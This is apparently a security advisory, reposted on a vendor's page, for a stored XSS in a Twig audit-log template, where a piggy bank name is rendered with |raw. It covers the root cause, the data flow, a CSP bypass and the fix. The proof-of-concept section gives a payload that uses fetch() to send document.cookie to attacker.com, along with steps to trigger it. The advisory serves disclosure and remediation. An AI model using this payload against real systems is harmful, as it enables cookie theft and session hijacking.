Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-6jq6-x4cx-qvcm
No affected components available
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
Vulnerable code (resources/views/list/ale.twig lines 107, 110):
{{ trans('firefly.ale_action_log_add', {
amount: formatAmountBySymbol(...),
name: logEntry.after.piggy
})|raw }}
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
- Authenticate as any user
POST /api/v1/piggy-bankswith"name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"- Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
- Trigger the rule on any transaction
- Visit
/transactions/show/{id}→ payload fires
Confirmed server response (v6.6.2):
Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"
Impact
- Stored XSS persists in DB — fires for every user who views the transaction
- Cookie theft → session hijacking
- In multi-user setups: one user attacks another user or admin
- Chainable with CSRF-like operations
Fix
PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.
{{ trans('firefly.ale_action_log_add', {
amount: formatAmountBySymbol(...),
name: logEntry.after.piggy|e
})|raw }}
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges.
Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard